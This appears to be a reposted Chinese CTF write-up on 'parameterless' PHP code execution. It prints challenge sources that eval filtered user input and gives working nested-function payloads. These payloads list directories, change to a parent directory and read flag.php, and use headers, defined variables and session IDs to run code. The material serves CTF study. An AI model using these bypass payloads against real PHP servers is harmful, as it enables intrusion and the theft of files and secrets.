淺談無參數RCE


0x00 前言

這幾天做了幾道無參數RCE的題目,這里來總結一下,以后忘了也方便再撿起來。
首先先來解釋一下什么是無參數RCE:

形式:

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))

分析一下代碼:

preg_replace 的主要功能就是限制我們傳輸進來的必須是純小寫字母的函數,而且不能攜帶參數。
再來看一下:(?R)?,這個意思為遞歸整個匹配模式。所以正則的含義就是匹配無參數的函數,內部可以無限嵌套相同的模式(無參數函數)

preg_match的主要功能就是過濾函數,把一些常用不帶參數的函數關鍵部分都給過濾了,需要去構造別的方法去執行命令。

因此,我們可以用這樣一句話來解釋無參數RCE:
我們要使用不傳入參數的函數來進行RCE
比如:

print_r(scandir('a()'));可以使用
print_r(scandir('123'));不可以使用

再形象一點,就是套娃嘛。。一層套一個函數來達到我們RCE的目的
比如:

?exp=print_r(array_reverse(scandir(current(localeconv()))));

0x01 從代碼開始分析

我們先來看一下幾天前剛做的一道題目:

[GXYCTF2019]禁止套娃
源碼:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("還差一點哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("還想讀flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

我們先來分析一下源碼吧:

1:需要以GET形式傳入一個名為exp的參數。如果滿足條件會執行這個exp參數的內容。
2:preg_match過濾了我們偽協議的可能
3:preg_replace 的主要功能就是限制我們傳輸進來的必須時純小寫字母的函數,而且不能攜帶參數。只能匹配通過無參數的函數。
4:最后一個preg_match正則匹配掉了et/na/info等關鍵字,很多函數都用不了
5:eval($_GET['exp']); 典型的無參數RCE

既然getshell基本不可能,那么考慮讀源碼看源碼,flag應該就在flag.php我們想辦法讀取
首先需要得到當前目錄下的文件scandir()函數可以掃描當前目錄下的文件,例如:

<?php print_r(scandir('.')); ?>

那么問題就是如何構造scandir('.')

這里再看函數
localeconv() 函數:
返回一包含本地數字及貨幣格式信息的數組。而數組第一項就是.current() 返回數組中的當前單元, 默認取第一個值。

這里還有一個知識點:

current(localeconv())永遠都是個點

那么我們第一步就解決了:

print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));

pos() 是current() 的別名。

現在的問題就是怎么讀取倒數第二個數組呢?

看手冊:

很明顯,我們不能直接得到倒數第二組中的內容:

三種方法:

1.array_reverse()

以相反的元素順序返回數組

?exp=print_r(array_reverse(scandir(current(localeconv()))));

2.array_rand(array_flip())

array_flip()交換數組的鍵和值

?exp=print_r(array_flip(scandir(current(localeconv()))));

array_rand()從數組中隨機取出一個或多個單元,不斷刷新訪問就會不斷隨機返回,本題目中scandir()返回的數組只有5個元素,刷新幾次就能刷出來flag.php

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

3.session_id(session_start())

本題目雖然ban了hex關鍵字,導致hex2bin()被禁用,但是我們可以並不依賴於十六進制轉ASCII的方式,因為flag.php這些字符是PHPSESSID本身就支持的。

使用session之前需要通過session_start()告訴PHP使用session,php默認是不主動使用session的。

session_id()可以獲取到當前的session id。

因此我們手動設置名為PHPSESSID的cookie,並設置值為flag.php

那么我們最后一個問題:如何讀flag.php的源碼

因為et被ban了,所以不能使用file_get_contents(),但是可以可以使用readfile()或highlight_file()以及其別名函數show_source()

view-source:http://x.x.x.x:x/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
?exp=show_source(session_id(session_start()));

我們再來看一個題目:

ByteCTF Boringcode
來看代碼:

 $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

我們簡單分析一下:
preg_match中
因為只允許使用純字母函數,print_r這里被禁止掉了
注意這里的過濾比上面的多了很多,比如current就不能用了,我們可以用pos代替
看wp:


echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

我們一層一層的來分析:
首先題目給了提示,flag在上一級目錄
所以我們要切換到上一級並讀取 flag

1:localeconv()函數
前面已經提過:
localeconv() 函數:
返回一包含本地數字及貨幣格式信息的數組。而數組第一項就是.current() 返回數組中的當前單元, 默認取第一個值。

這里還有一個知識點:

current(localeconv())永遠都是個點

2:pos()函數
前面提過:

作用: 返回數組中的當前元素的值
因為正則條件中有nt,所以current()函數就無法使用,但是它有一個別名,就是pos()
3: scandir()函數

前面 pos() 函數輸出的值為點(.),所以這里變成scandir(.),也就是當前目錄

介紹下一個函數前我們先來了解一下php的數組指向函數,上一個題目簡單提了一下

4: next()函數

作用: 將數組中的內部指針向前移動一位

在剛才 scandir() 函數返回的數組中,第一位是點(.),此時指針默認指向該位(也就是第一位),通過next()函數,將指針移動到下一位,也就是點點(..)

5:chdir()函數

next() 函數返回點點(..),chdir()函數執行 chdir(..) 也就把目錄切換到了上一級
6:time()函數

chdir() 函數返回的是 bool 類型的 true ,所以對不需要傳入參數的time()函數來說,本來就沒有影響,可以正常執行
7:localtime()函數

localtime()函數可以接受參數,並且第一個參數可以直接接受time(),所以直接利用
8:pos()函數

獲取第一個參數,也就是系統當前的秒數
9:chr()函數

chr()函數在這里什么作用呢?因為當秒數為46時,chr(46)=”.”,用來獲取點(.)(這里不能再用 localeconv() 函數是因為它不能傳入參數)
10:scandir()函數

繼續掃描當前目錄(默認目錄得上一級,因為我們剛才已經 chdir(“..”) 切換過)
11:end()函數

作用: 將 array 的內部指針移動到最后一個單元並返回其值
scandir() 返回當前目錄的數組,end()函數將指針移動到最后一個(這里就是 flag.php ,因為文件名按字母先后排序,而字母 f 在本題中排最后
12:readfile()函數

作用: 讀取文件並寫入到輸出緩沖
這里將執行readfile(“flag.php”),將 flag.php 的內容讀取出來
13:echo()函數

用echo()函數將 flag 輸出

本地測試了一下確實能打通

再來看一道題目:

2019上海市大學生網絡安全大賽_decade

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
            if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        else {
            echo "No way!!!";
        }
}
else {
        echo "No way!!!";
}
?>

審計源碼,過濾的比上一個更多:
我們來對比一下:


echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

先列一下不能用的函數,看看能不能代替:

localeconv()
time()
localtime()
readfile()

我們從payload開始分析吧:

readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

這里只分析一下我們這個題目和上一個不同,詳細的盯着手冊在本地測試就行了
仔細想想,我們只有兩個問題:
1:怎么構造點(.)
2:readfile被過濾怎么讀取

解決第一個:

46經過chr()轉換就是.

第二個:
readgzfile可以代替readfile

好了問題解決,剩下的就是照着上一個思路搬磚了。

0x02 總結

先來總結一下這種題目的思路:
首先我們先看一下過濾了哪些函數,還有哪些關鍵字。很多時候會過濾讀文件的,我們可以先fuzz一下:

<?php var_dump(get_defined_functions());?>

之后呢就是想方設法“套娃”來RCE,或者進行目錄遍歷了。
列一下常用函數:

getchwd() 函數返回當前工作目錄。
scandir() 函數返回指定目錄中的文件和目錄的數組。
dirname() 函數返回路徑中的目錄部分。
chdir() 函數改變當前的目錄。

readfile()  輸出一個文件

current()       返回數組中的當前單元, 默認取第一個值
pos()           current() 的別名
next() 函數將內部指針指向數組中的下一個元素,並輸出。
end()       將內部指針指向數組中的最后一個元素,並輸出。
array_rand()    函數返回數組中的隨機鍵名,或者如果您規定函數返回不只一個鍵名,則返回包含隨機鍵名的數組。
array_flip()    array_flip() 函數用於反轉/交換數組中所有的鍵名以及它們關聯的鍵值。
array_slice() 函數在數組中根據條件取出一段值,並返回
chr() 函數從指定的 ASCII 值返回字符。
hex2bin — 轉換十六進制字符串為二進制字符串

getenv()        獲取一個環境變量的值(在7.1之后可以不給予參數)

前面呢因為正則過濾還有好幾種方法沒提,這里來講一下:
上面的目錄遍歷形式的沒有環境區別,我們這里來分一下環境:

apache

getallheaders()函數

先通過頭部傳入惡意數據,之后我們再取出來:

成功RCE

nginx

get_defined_vars()函數

我們可以通過定義新的變量來控制該函數的返回值
然后變成我們想要執行的代碼,例如phpinfo();

然后我們現在要想辦法將我們想執行的代碼從數組中提取出來

先用current函數取出get鍵值所對應的值,然后再利用array_values函數將數組的值重新組成一個數組,再次利用current函數取出數組第一個值,將var_dump改成eval即可實現RCE

除了這兩個,我們也可以通過session_id(session_start()),上面也已經提過

題目雖然ban了hex關鍵字,導致hex2bin()被禁用,但是我們可以並不依賴於十六進制轉ASCII的方式,因為flag.php這些字符是PHPSESSID本身就支持的。使用session之前需要通過session_start()告訴PHP使用session,php默認是不主動使用session的。session_id()可以獲取到當前的session id。因此我們手動設置名為PHPSESSID的cookie,並設置值為flag.php

參考鏈接:
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/06/php_shell_no_code/#2019_decade


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM